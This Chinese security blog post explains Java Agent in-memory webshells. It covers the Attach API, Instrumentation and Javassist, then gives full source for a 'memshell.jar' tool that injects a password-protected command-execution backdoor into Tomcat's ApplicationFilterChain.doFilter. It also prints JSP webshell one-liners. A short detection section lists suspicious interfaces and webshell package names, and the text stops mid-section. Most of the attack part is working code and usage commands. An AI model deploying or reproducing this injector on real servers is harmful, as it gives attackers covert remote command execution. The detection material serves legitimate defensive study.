Java Agent 内存马攻防

news2024/12/23 14:28:06

前言

在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的
Api,用于监控、收集性能信息、诊断问题等。通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java
Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法等。

Java Agent的使用方式有两种(图源先知社区):

  • premain方法,在JVM启动前加载。

image-20220107135410448.png

  • agentmain方法,在JVM启动后加载。

image-20220107135443296.png

在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,孰轻孰重已不言而喻。

premain和agentmain函数声明如下,方法名相同情况下,拥有Instrumentation inst参数的方法优先级更高:

public static void agentmain(String agentArgs, Instrumentation inst) {
    ...
}

public static void agentmain(String agentArgs) {
    ...
}

public static void premain(String agentArgs, Instrumentation inst) {
    ...
}

public static void premain(String agentArgs) {
    ...
}

JVM 会优先加载带Instrumentation签名的方法,加载成功则忽略第二种。如果第一种没有,则加载第二种方法。

  • 第一个参数String agentArgs就是Java agent的参数。

  • Inst是一个java.lang.instrument.Instrumentation的实例,可以用来类定义的转换和操作等等。

premain 方式

JVM启动时 会先执行premain方法,大部分类加载都会通过该方法,注意: 是大部分,不是所有 。遗漏的主要是系统类,因为很多系统类先于
agent 执行,而用户类的加载肯定是会被拦截的。也就是说, 这个方法是在 main 方法启动前拦截大部分类的加载活动
,既然可以拦截类的加载,就可以结合第三方的字节码编译工具,比如ASM,javassist,cglib等来改写实现类。

1)创建应用程序hello.jar

package com.nsfocus.test

public class hello {
    public static void main (String[] args) {
        System.out.println("hello world");
    }
}

将com.nsfocus.test.hello打包成hello.jar后单独执行java -jar hello.jar

image-20220120155044236.png

2)创建premain方式的Agent

package com.nsfocus.test

import java.lang.instrument.Instrumentation;

public class PreDemo {
    public static void premain(String args, Instrumentation inst) throws Exception{
        for (int i = 0; i < 10; i++) {
            System.out.println("I'm premain agent");
        }
    }
}

此时项目如果打包成jar包执行,则会因绝少入口main而报错(Java默认main为入口)。故需自定义一个MANIFEST.MF文件,用于指明premain的入口:

Manifest-Version: 1.0
Premain-Class: com.nsfocus.test.PreDemo

注:最后一行是 空行,不能省略 。以下是MANIFEST.MF的其他选项:

Premain-Class: 包含 premain 方法的类(类的全路径名)
Agent-Class: 包含 agentmain 方法的类(类的全路径名)
Boot-Class-Path: 设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
Can-Redefine-Classes: true表示能重定义此代理所需的类,默认值为 false(可选)
Can-Retransform-Classes: true 表示能重转换此代理所需的类,默认值为 false (可选)
Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)

3)使用premain进行注入

java -javaagent:PreDemo.jar -jar hello.jar

image-20220120155425949.png

agentmain 方式

写一个agentmainpremain差不多,只需要在META-INF/MANIFEST.MF中加入Agent-Class:即可。

agent:

package com.nsfocus.test

import java.lang.instrument.Instrumentation;

public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        for (int i = 0; i < 10; i++) {
            System.out.println("I'm agentmain agent");
        }
    }
}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Agent-Class: com.nsfocus.agent.AgentDemo
Can-Retransform-Classes: true
Can-Redefine-Classes: true

不同之处在于,这种方法不是在JVM启动前使用参数来指定的。官方为了实现启动后的加载,提供了Attach API。Attach API 很简单,只有 2
个主要的类,都在com.sun.tools.attach包里面。需要着重关注的是VitualMachine这个类,它用来与目标JVM建立连接,从而在启动后加载我们的agentmain。

:Linux、Windows等不同下的Attach API不尽相同,详见下文。

:总的来说,agentmain的实现也并不是很难理解。笔者将其简要概括为三个阶段:

连接(VirtualMachine) => 加载(Instrumentation) => 修改(Javassist),详见下文。

VirtualMachine

字面意义表示虚拟机,也就是Agent程序需要监控的目标JVM。它提供了获取系统信息、loadAgentAttachDetach等方法,可以实现的功能非常强大
。该类允许我们给attach方法传入一个JVM的pid,远程连接到目标JVM上
。代理类注入操作只是它众多功能中的一个,我们可以通过loadAgent方法向JVM注册一个代理程序Agent,在该Agent代理程序中将会得到一个Instrumentation实例。

VirtualMachine的用法:

// com.sun.tools.attach.VirtualMachine

// 下面的示例演示如何使用VirtualMachine:

        // attach to target VM
        VirtualMachine vm = VirtualMachine.attach("2177");
        // start management agent
        Properties props = new Properties();
        props.put("com.sun.management.jmxremote.port", "5000");
        vm.startManagementAgent(props);
        // detach
        vm.detach();

// 在此示例中,我们附加到由进程标识符2177标识的Java虚拟机。然后,使用提供的参数在目标进程中启动JMX管理代理。最后,客户端从目标VM分离。

attacher:

package com.nsfocus.attacher;

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class AgentAttach {
    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
        String id = args[0];
        String jarName = args[1];

        System.out.println("id ==> " + id);
        System.out.println("jarName ==> " + jarName);

        VirtualMachine virtualMachine = VirtualMachine.attach(id);
        virtualMachine.loadAgent(jarName);
        virtualMachine.detach();

        System.out.println("ends");
    }
}



Manifest-Version: 1.0
Main-Class: com.nsfocus.attacher.AgentAttach

过程非常简单:通过pid attach到目标JVM - > 加载agent -> 解除连接。

后话 :在windows下将该项目打包为attacher.jar后,复制到linux下执行报错:

Exception in thread "main" java.lang.UnsatisfiedLinkError: sun.tools.attach.WindowsAttachProvider.tempPath()Ljava/lang/String;
        at sun.tools.attach.WindowsAttachProvider.tempPath(Native Method)
        at sun.tools.attach.WindowsAttachProvider.isTempPathSecure(WindowsAttachProvider.java:74)
        at sun.tools.attach.WindowsAttachProvider.listVirtualMachines(WindowsAttachProvider.java:58)
        at com.sun.tools.attach.VirtualMachine.list(VirtualMachine.java:134)
        at sun.tools.jconsole.LocalVirtualMachine.getAttachableVMs(LocalVirtualMachine.java:151)
        at sun.tools.jconsole.LocalVirtualMachine.getAllVirtualMachines(LocalVirtualMachine.java:110)
        ...

前面已经提到了,不同的AttachProvider适用于不同的平台,即不同平台下的${JAVA_HOME}/lib/tools.jar有略微的差别:

[solaris] sun.tools.attach.SolarisAttachProvider
[windows] sun.tools.attach.WindowsAttachProvider
[linux]   sun.tools.attach.LinuxAttachProvider

image-20220120162000974.png

将项目拷贝到linux下再打包,或者将windows下的tools.jar替换为linux下的tools.jar均能解决这个问题。

Instrumentation

通过attacher连接到目JVM后,可以通过instrumentation类和目标JVM上的类进行交互,为动态修改字节码奠定基础。

官方文档:[java.lang.instrument (Java SE 9 & JDK 9 )
(oracle.com)](https://docs.oracle.com/javase/9/docs/api/java/lang/instrument/package-
summary.html)

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}
  • getAllLoadedClasses:获取所有已经加载的类。

  • isModifiableClasses:判断某个类是否能被修改。

前面的AgentDemo比较简单,下面我们来扩展一下agent的功能。在连接至目标JVM后,加载JVM上所有的类,并判断其是否可以更改:

package com.nsfoucs.getclasses;

import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.Instrumentation;

public class GetClasses {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
        Class[] classes = inst.getAllLoadedClasses();
        FileOutputStream fileOutputStream = new FileOutputStream(new File("./ClassesInfo.txt"));
        for (Class aClass : classes) {
            String result = "class ==> " + aClass.getName() + "\n\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\n";
            fileOutputStream.write(result.getBytes());
        }
        fileOutputStream.close();
    }
}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Agent-Class: com.nsfoucs.getclasses.GetClasses

java -jar attacher.jar [PID] "./getclasses.jar"

class ==> java.lang.invoke.LambdaForm$MH/0x0000000800f06c40
    Modifiable ==> false

class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f06840
    Modifiable ==> false

class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07440
    Modifiable ==> false

class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07040
    Modifiable ==> false

class ==> jdk.internal.reflect.GeneratedConstructorAccessor29
    Modifiable ==> true

........

在当前目录成功生成ClassesInfo.txt,得到了目标JVM上所有已经加载的类,并且知道了这些类能否被修改。

Transform API

在编译期的构建任务流中,class转为dex之前,插入一个Transform,并在此Transform流中,基于 Javassist
实现对字节码文件的注入。

  • addTransformer()

  • retransformClasses()

[redefine VS. retransform | lsieun](https://lsieun.github.io/java-
agent/s01ch03/redefine-vs-retransform.html)

[Instrumentation.xxxTransformer() | lsieun](https://lsieun.github.io/java-
agent/s01ch03/instrumentation-add-and-remove-transformer.html)

public interface Instrumentation {

    // 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
    void addTransformer(ClassFileTransformer transformer);

    // 删除一个类转换器
    boolean removeTransformer(ClassFileTransformer transformer);

    // 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
    void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;

    // 判断目标类是否能够修改。
    boolean isModifiableClass(Class<?> theClass);

    // 获取目标已经加载的类。
    @SuppressWarnings("rawtypes")
    Class[] getAllLoadedClasses();

    ......
}

addTransformer()方法中,有一个参数ClassFileTransformer transformer,这个参数将帮助我们完成字节码的修改工作。

ClassFileTransformer

ClassFileTransformer接口提供了用于加载、重新定义或重新转换类的transform方法:

public interface ClassFileTransformer {
    default byte[]
    transform(  ClassLoader         loader,
                String              className,
                Class<?>            classBeingRedefined,
                ProtectionDomain    protectionDomain,
                byte[]              classfileBuffer) {
        ....
    }
}



//示例
public class Transformer implements ClassFileTransformer{
...
}



// 代理使用addTransformer方法注册此接口的实现,以便在加载,重新定义或重新转换类时调用转换器的transform方法。该实现应覆盖此处定义的转换方法之一。在Java虚拟机定义类之前,将调用变压器。
// 有两种转换器,由Instrumentation.addTransformer(ClassFileTransformer,boolean)的canRetransform参数确定:
// 与canRetransform一起添加的具有重转换能力的转换器为true
// 与canRetransform一起添加为false或在Instrumentation.addTransformer(ClassFileTransformer)处添加的无法重新转换的转换器
// 在addTransformer中注册了转换器后,将为每个新的类定义和每个类重新定义调用该转换器。具有重转换功能的转换器也将在每个类的重转换上被调用。使用ClassLoader.defineClass或其本机等效项来请求新的类定义。使用Instrumentation.redefineClasses或其本机等效项进行类重新定义的请求。使用Instrumentation.retransformClasses或其本机等效项进行类重新转换的请求。在验证或应用类文件字节之前,将在处理请求期间调用转换器。如果有多个转换器,则通过链接转换调用来构成转换。也就是说,一次转换所返回的字节数组成为转换的输入(通过classfileBuffer参数)。

Javassist

修改字节码的技术有很多,比如 ASM、Javassist、BCEL、CGLib 等,这里仅简要介绍 Javassist。Javassist 可以直接用
Java 编码来实现增强,无需关注字节码结构,比 ASM 更简单。Javassist 中核心的类主要有四个:

  • CtClass:类信息

  • ClassPool:可以从中获取 CtClass,key 为类的全限定名

  • CtMethod:方法信息

  • CtField:字段信息

基于这四个类,可以方便地实现增强,比如在指定方法前后增加代码:

// 获取默认 ClassPool
ClassPool cp = ClassPool.getDefault();
// 找到 CtClass,重写 com.nsfocus.Demo
CtClass cc = cp.get("com.nsfocus.Demo");
// 增强方法 test
CtMethod m = cc.getDeclaredMethod("test");
// 前面插入代码
m.insertBefore("{ System.out.println(\"javassist start\"); }");
// 后面插入代码
m.insertAfter("{ System.out.println(\"javassist end\"); }");
// Java agent 获取字节码数据
return cc.toBytecode();

Javassist用法详解

示例

模拟目标进程,hello.jar:

// HelloWorld.java
package com.nsfocus.test;

import java.util.Scanner;

public class HelloWorld {
    public static void main(String[] args) {
        hello h1 = new hello();
        GetPid pid = new GetPid();
        h1.hello();
        // 输出当前进程的 pid
        pid.GetPid();
        // 产生中断,等待注入
        Scanner sc = new Scanner(System.in);
        sc.nextInt();
        hello h2 = new hello();
        h2.hello();
        System.out.println("ends...");
    }
}

// hello.java
package com.nsfocus.test;

public class hello {
    public void hello() {
        System.out.println("hello world");
    }
}

//GetPid.java
package com.nsfocus.test;

import java.lang.management.ManagementFactory;

public class GetPid {
    public void GetPid() {
        String name = ManagementFactory.getRuntimeMXBean().getName();
        System.out.println("JVM:" + name);
        String pid = name.split("@")[0];
        System.out.println("PID:" + pid);
    }

}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Main-Class: com.nsfocus.test.HelloWorld

agent.jar:

// AgentDemo.java
package com.nsfocus.agent;

import java.io.IOException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class AgentDemo {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
        Class[] classes = inst.getAllLoadedClasses();
        // 判断类是否已经加载
        for (Class aClass : classes) {
            if (aClass.getName().equals(TransformerDemo.editClassName)) {
                System.out.println("EditClassName:" + aClass.getName());
                System.out.println("EditMethodName:" + TransformerDemo.editMethodName);
                // 添加 Transformer
                inst.addTransformer(new TransformerDemo(), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }
    }
}

// TransformerDemo.java
package com.nsfocus.agent;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;

public class TransformerDemo implements ClassFileTransformer {
    // 只需要修改这里就能修改别的函数
    public static final String editClassName = "com.nsfocus.test.hello";
    public static final String editClassName2 = editClassName.replace('.', '/');
    public static final String editMethodName = "hello";

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            cp.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            CtClass ctc = cp.get(editClassName);
            CtMethod method = ctc.getDeclaredMethod(editMethodName);
            String source = "{System.out.println(\"hello transformer\");}";
            method.setBody(source);
            byte[] bytes = ctc.toBytecode();
            ctc.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return classfileBuffer;
    }
}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Agent-Class: com.nsfocus.agent.AgentDemo
Can-Retransform-Classes: true
Can-Redefine-Classes: true

使用:

1)java -jar helloworld.jar

image-20220120163738532.png

2)java -jar attacher.jar [PID] "./getclasses.jar"

3)java -jar attacher.jar [PID] "./agent.jar"

image-20220120164157075.png

image-20220120164128197.png

image-20220120164213618.png

总结:

首先利用attacher.jar
attach到某个JVM并加载agent.jar,然后利用agent.jar中java.lang.instrument.InstrumentationgetAllLoadedClasses()sModifiableClasses()对目标JVM中的类进行汇总,并判断类是否可以更改,即public static void agentmain(String agentArgs, Instrumentation inst){},Class[] classes = inst.getAllLoadedClasses();,inst.isModifiableClass(aClass)。再利用java.lang.instrument.InstrumentationaddTransformer(new Transformer(),true)(Transformer类继承java.lang.instrument.Instrumentation中的ClassFileTransformer接口,即public class Transformer implements ClassFileTransformer)和retransformClasses(target_class)对类进行拦截,最后配合javassist实现对字节码的修改。

需要注意的是,addTransformer方法并没有指明要转换哪个类,转换发生在premain函数后,main函数前。这时每装载一个类,transform方法就执行一次,故使用if (aClass.getName().equals(TransformerDemo.editClassName))判断当前的类是否需要转换(此处需要注意editclassName的形式)。当然,该判断也可以在TransformerDemo类的transformer方法中进行,即if(className.equals(editClassName))

1)使用Instrumentation.addTransformer()加载一个转换器。

2)转换器的返回结果(transform()方法的返回值)将成为转换后的字节码。

3)对于没有加载的类,使用ClassLoader.defineClass()定义它;对于已经加载的类,使用ClassLoader.redefineClasses()重新定义,并配合Instrumentation.retransformClasses进行转换。

注入内存马

示例成功完成了对方法体的修改。下面我们分析如何利用上述方法,将木马注入到 某个一定会执行 的方法内。

无回显执行系统命令:

<%Runtime.getRuntime().exec(request.getParameter("i"));%>

有密码和回显的命令执行:

<%
    if("nsfocus".equals(request.getParameter("pwd"))){
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
    }
%>

修改哪个类的哪个方法,是注入内存马的前提和关键。除了上面提到的 一定会执行什么时候执行 也十分重要。

其实后门的本质就是在目标上留下一个用户可控的参数,黑客通过控制这个参数,达到执行任意系统命令的目的。因此,想要注入内存马,就必然绕不开 request 和
response。比如PHP的eval($_POST['nsfocus']),JSP的request.getParameter("nsfocus")。根据木马的特性,我们把目光放在
FilterChain 上。

在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter
程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称过滤器链)。

Filter 链用 FilterChain 对象表示,FilterChain 对象中有一个 doFilter() 方法,该方法的作用是让 Filter
链上的当前过滤器放行,使请求进入下一个 Filter。FilterChain 的拦截过程如图所示:

image.png

当然,最直接的就是写一个 Spring Boot 的 demo,在IDEA上下断点调试,分析各个类的调用过程,从而寻找合适的类和方法。

//DeomApplication.java
package com.nsfocus.demo;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class DemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

}

//HelloSpring.java
package com.nsfocus.demo;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloSpring {

    @RequestMapping("/index")
    public String say() {
        try {
            System.out.println("hello springboot");
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "index";
    }
}

ApplicationFilterChaindoFilter方法:

@Override
public void doFilter(ServletRequest request, ServletResponse response)
    throws IOException, ServletException {

    if( Globals.IS_SECURITY_ENABLED ) {
        final ServletRequest req = request;
        final ServletResponse res = response;
        try {
            java.security.AccessController.doPrivileged(
                new java.security.PrivilegedExceptionAction<Void>() {
                    @Override
                    public Void run()
                        throws ServletException, IOException {
                        internalDoFilter(req,res);
                        return null;
                    }
                }
            );
        } catch (PrivilegedActionException pe) {
            ......
        }
    } else {
        internalDoFilter(request,response);
    }
}

internalDoFilter()方法:

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {

        // Call the next filter if there is one
        if (pos < n) {
            ......
        }
}

以上两个方法均拥有RequestResponse参数,重写其中任何一个方法,都能控制所有的请求和响应。

Java Agent 修改 doFilter:

只需要对上面的示例代码做一些变动即可。

指定需要修改的类名和方法名:

public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String editClassName2 = editClassName.replace('.', '/');
public static final String editMethod = "doFilter";

为了不破坏程序原本的功能,这里不再使用setBody()方法,而采用insertBefore()

method.insertBefore(source);

出于方便考虑,实现一个readSource()方法,从文件中读取数据:

private static String readSource() throws Exception{
    File file = new File("./start.txt");
    if(!file.exists()){
        return null;
    }
    FileInputStream inputStream = new FileInputStream(file);
    int length = inputStream.available();
    byte bytes[] = new byte[length];
    inputStream.read(bytes);
    inputStream.close();
    String str =new String(bytes, StandardCharsets.UTF_8);
    return str ;
}



String source = this.readSource("start.txt");

public static String readSource(String name) {
        String result = "";
        // result = name文件的内容
        return result;
    }

start.txt中,写入恶意代码:

{
    javax.servlet.http.HttpServletRequest request = $1;
    javax.servlet.http.HttpServletResponse response = $2;
    request.setCharacterEncoding("UTF-8");
    String result = "";
    String password = request.getParameter("pwd");
    if (password != null && password.equals("nsfocus")) {
        String cmd = request.getParameter("cmd");
            if (cmd != null && cmd.length() > 0) {
                java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
                byte[] b = new byte[1024];
                int a = -1;
                while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
                }
            response.getWriter().println("<pre>" + new String(baos.toByteArray()) + "</pre>");
            }
    }
}

正常访问:http://127.0.0.1:8080

注入:java attacher.jar [pid] "./agent.jar"

注入后访问:http://127.0.0.1:8080/?password=nsfocus&exec=ls -al

最后,可以将前面的attacher.jar、getclasses.jar、agent.jar等项目整合一下,动态获取用户输入。这样,一个实用的小工具就诞生了:

//Atacher.java
package com.nsfocus.agent;

import com.beust.jcommander.JCommander;

import java.util.Base64;

import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;

import java.io.IOException;

public class Attacher {

    public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {

        Args args1 = new Args();
        JCommander.newBuilder().addObject(args1).build().parse(args);
        byte[] decoded1 = Base64.getDecoder().decode(args1.target);
        String msg1 = new String(decoded1);
        System.out.println(msg1);
        String[] arr1 = msg1.split(":");

        System.out.println("PID ==> " + arr1[0]);
        System.out.println("EditClassName ==> " + arr1[1]);
        System.out.println("EditMethodName ==> " + arr1[2]);
        System.out.println("SaveLog ==> " + arr1[3]);

        VirtualMachine virtualMachine = VirtualMachine.attach(arr1[0]);
        virtualMachine.loadAgent("./memshell.jar",args1.target);
        virtualMachine.detach();

        System.out.println("ends");
    }
}

//Agent.java
package com.nsfocus.agent;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.util.Base64;

public class Agent {
    public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {

        //System.out.println(agentArgs);

        byte[] decoded2 = Base64.getDecoder().decode(agentArgs);
        String msg2 = new String(decoded2);
        String[] arr2 = msg2.split(":");

        Class[] classes = inst.getAllLoadedClasses();
        FileOutputStream fileOutputStream = new FileOutputStream(new File(arr2[3]));
        // 判断类是否已经加载
        for (Class aClass : classes) {
            String result = "class ==> " + aClass.getName() + "\n\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\n";
            fileOutputStream.write(result.getBytes());
            if (aClass.getName().equals(arr2[1])) {
                System.out.println("EditClassName:" + arr2[1]);
                System.out.println("EditMethodName:" + arr2[2]);
                // 添加 Transformer
                inst.addTransformer(new Transformer(arr2[1],arr2[2]), true);
                // 触发 Transformer
                inst.retransformClasses(aClass);
            }
        }
        fileOutputStream.close();
    }
}

//Transformer.java
package com.nsfocus.agent;

import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;

public class Transformer implements ClassFileTransformer {
    public String EditClassName;
    public String EditMethodName;
    public Transformer(String c,String m){
        this.EditClassName = c;
        this.EditMethodName = m;
    }

    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
        try {
            ClassPool cp = ClassPool.getDefault();
            cp.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
            if (classBeingRedefined != null) {
                ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
                cp.insertClassPath(ccp);
            }
            CtClass ctc = cp.get(EditClassName);
            CtMethod method = ctc.getDeclaredMethod(EditMethodName);
            String source = "{\n" +
                    "    javax.servlet.http.HttpServletRequest request = $1;\n" +
                    "    javax.servlet.http.HttpServletResponse response = $2;\n" +
                    "    request.setCharacterEncoding(\"UTF-8\");\n" +
                    "    String result = \"\";\n" +
                    "    String password = request.getParameter(\"pwd\");\n" +
                    "    if (password != null && password.equals(\"nsfocus\")) {\n" +
                    "        String cmd = request.getParameter(\"cmd\");\n" +
                    "            if (cmd != null && cmd.length() > 0) {\n" +
                    "                java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
                    "                java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();\n" +
                    "                int a = -1;\n" +
                    "                byte[] b = new byte[2048];\n" +
                    "                while ((a = in.read(b)) != -1) {\n" +
                    "                baos.write(b, 0, a);\n" +
                    "                }\n" +
                    "            response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");\n" +
                    "            }\n" +
                    "    }\n" +
                    "}";
            method.insertBefore(source);
            byte[] bytes = ctc.toBytecode();
            ctc.detach();
            return bytes;
        } catch (Exception e){
            e.printStackTrace();
        }
        return classfileBuffer;
    }
}

//Args.java
package com.nsfocus.agent;

import com.beust.jcommander.Parameter;

public class Args {

    @Parameter(names = "-target", description = "base64(pid:class:method:path)", required = true)
    public String target;

}

META-INF/MANIFEST.MF:

Manifest-Version: 1.0
Main-Class: com.nsfocus.agent.Attacher
Agent-Class: com.nsfocus.agent.Agent
Can-Retransform-Classes: true
Can-Redefine-Classes: true

pom.xml:

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>com.nsfocus</groupId>
    <artifactId>agent</artifactId>
    <version>1.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>com.beust</groupId>
            <artifactId>jcommander</artifactId>
            <version>1.82</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.28.0-GA</version>
        </dependency>
    </dependencies>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>

</project>

食用:

java -jar memshell.jar -target [base64(PID:EditClassName:EditMethodName:Save_log_path)]

示例:

java -jar demo.jar

image-20220121142008038.png

image-20220121142632134.png

3438:org.apache.catalina.core.ApplicationFilterChain:doFilter:./ClassInfo.txt
= >

MzQzODpvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDaGFpbjpkb0ZpbHRlcjouL0NsYXNzSW5mby50eHQ=

java -jar memshell.jar -target MzQzODpvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDaGFpbjpkb0ZpbHRlcjouL0NsYXNzSW5mby50eHQ=

image-20220121143429859.png

可以看到,修改后的demo已经能够接收参数,但可能是因为环境适配问题,导致回显时报错。另经测试,Agent failed to start!不影响工具的正常使用,Agent能够正常启动并完成对类和方法的修改。在windows中无此报错,linux中报错原因不详。

基于 Agent 的检测

与注入内存马一样,我们同样可以利用Java的Instrument机制,动态注入我们的检测Agent,获取JVM中所有已加载的Class,匹配内存马特有的可疑特征,让隐藏的内存马现出原型。首先,我们需要分析常见的内存马存在的一些可疑的特征。

以上文中的内存马代码为例,我们通过Attacher去loadAgent:

image-20220222102806776.png

Agent通过加载Transformer实现功能:

image-20220222103231219.png

Transformer的功能由transform方法实现,而transform方法重写自ClassFileTransformer,即Transformer继承ClassFileTransformer接口:

image-20220222103506525.png

因此,ClassFileTransformer接口算不算是Agent内存马的可疑特征呢?答案是肯定的。根据该思路,大致可以总结出以下可疑特征:

  • 继承可能实现webshell功能的接口

    • javax.servlet.http.HttpServlet

    • org.springframework.web.servlet.handler.AbstractHandlerMapping

    • javax.servlet.Filter

    • javax.servlet.Servlet

    • javax.servlet.ServletRequestListener

  • 名字

    • shell

    • memshell

  • 常见已知的Webshell包名:

    • net.rebeyond.*

    • com.metasploit.*

检测步骤与注入步骤基本相同:

1.Attach检测Agent到JVM进程

2.获取JVM中已经加载的Class列表

3.根据指纹特征将可疑的Class反编译为Java源码

4.根据源码检测出Webshell

优点 :仅在检测过程中存在资源消耗,不会对系统进行修改,对系统的影响较小。

缺点
